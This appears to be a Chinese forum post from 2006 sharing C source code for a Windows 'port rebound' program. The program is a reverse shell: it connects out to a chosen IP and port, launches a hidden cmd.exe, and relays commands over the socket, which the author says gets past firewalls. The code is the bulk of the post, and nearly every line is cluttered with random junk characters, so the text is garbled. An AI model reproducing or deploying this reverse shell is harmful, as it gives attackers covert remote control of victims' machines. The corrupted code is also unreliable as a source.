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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U[Z1@2zLx  
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/* ============================== 'JRkS'ay  
Rebound port in Windows NT =k0l>)  
By wind,2006/7 Y}F+4   
===============================*/ ==|//:: \  
#include JqFFI:Q5a  
#include h`jtmhoz  
,wnF]K 2D0  
#pragma comment(lib,"wsock32.lib") jQ`cfE$sV  
gKBcD\F  
void OutputShell(); y'Wz*}8pr  
SOCKET sClient; !&! sn"yD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (8{h I  
o'Po<I  
void main(int argc,char **argv) 4UG7{[!+  
{ o3%+FWrVTS  
WSADATA stWsaData; Fet>KacTht  
int nRet; 3D%I=p(  
SOCKADDR_IN stSaiClient,stSaiServer; H?O*  
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if(argc != 3) [t?ftS  
{ "y5c)l(Rg  
printf("Useage:\n\rRebound DestIP DestPort\n"); MbjH\XRB  
return; x+^iEj`gk  
} /SP^fB*y  
dZ;cs c@xv  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5a4;d+  
O(wt[AEA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E[ e ''  
8Gs{Zfp!D  
stSaiClient.sin_family = AF_INET; wVw3YIN#  
stSaiClient.sin_port = htons(0); _`ot||J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~ dmyS?Or  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @u$4{sjgf\  
{ /|hKZTZJdN  
printf("Bind Socket Failed!\n"); N{oD1%  
return; $FCLo8/=  
} T2^ @x9  
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stSaiServer.sin_family = AF_INET; ar>S_VW*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g6 r3V.X'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / 1E6U6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YHg4WW$  
{ $40tAes9  
printf("Connect Error!"); kg9ZSkJr  
return; >5)$Qtz#  
} aq[kKS`  
OutputShell(); I?5#Q0,b  
} X[|-F3o  
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void OutputShell() 42X[Huy]  
{ Y+j|T`d  
char szBuff[1024]; QnVYZUgJeV  
SECURITY_ATTRIBUTES stSecurityAttributes; q=g;TAXZl  
OSVERSIONINFO stOsversionInfo; /R@eOl}D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XG_ lyx%:E  
STARTUPINFO stStartupInfo; 6uR :/PTG  
char *szShell; c00a;=ji  
PROCESS_INFORMATION stProcessInformation; w_4`Wsn  
unsigned long lBytesRead; IQY\L@"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YV 2T$#7u  
JtvAi\52$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); & P,8 )YA  
stSecurityAttributes.lpSecurityDescriptor = 0; wVV'9pw}  
stSecurityAttributes.bInheritHandle = TRUE; ANi}q9SC  
mI9~\k&9  
~#7=gI&p@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oM Q+=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jSpmE  
;S2^f;q~$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B0nkHm.Sj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8T7[/"hi\  
stStartupInfo.wShowWindow = SW_HIDE; dk-Y!RfNx  
stStartupInfo.hStdInput = hReadPipe; aJK8G,Vk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jh2D 9h  
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GetVersionEx(&stOsversionInfo); B]0`b1t  
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switch(stOsversionInfo.dwPlatformId) c9r, <TR9  
{ 3Sf <oYF  
case 1: )>C,y`,  
szShell = "command.com"; Fdzs Wm  
break; G-9]z[\#  
default: l<! ?`V6}  
szShell = "cmd.exe"; 7WKb| /#;  
break; _}{C?611c  
} .$L'Jt2X  
h@@2vs2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D3|y|Dr  
iO>2#p8$NR  
send(sClient,szMsg,77,0); ~bg?V0  
while(1) 5fDVJE "9"  
{ Nz\=M|@(#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gb( a`  
if(lBytesRead) 9}:%CpD^~I  
{ ggXg4~WL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z3[ J>  
send(sClient,szBuff,lBytesRead,0); |ILj}4ZA7  
} \Om.pOz  
else yiWBIJ2Wu9  
{ r` HtN{6r  
lBytesRead=recv(sClient,szBuff,1024,0); $0+AR)  
if(lBytesRead<=0) break; {D 9m// x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e4j:IK>  
} 7GB>m}7  
} -5\hZ!!J2  
^fQ ]>/u  
return; q`{crY30  
}
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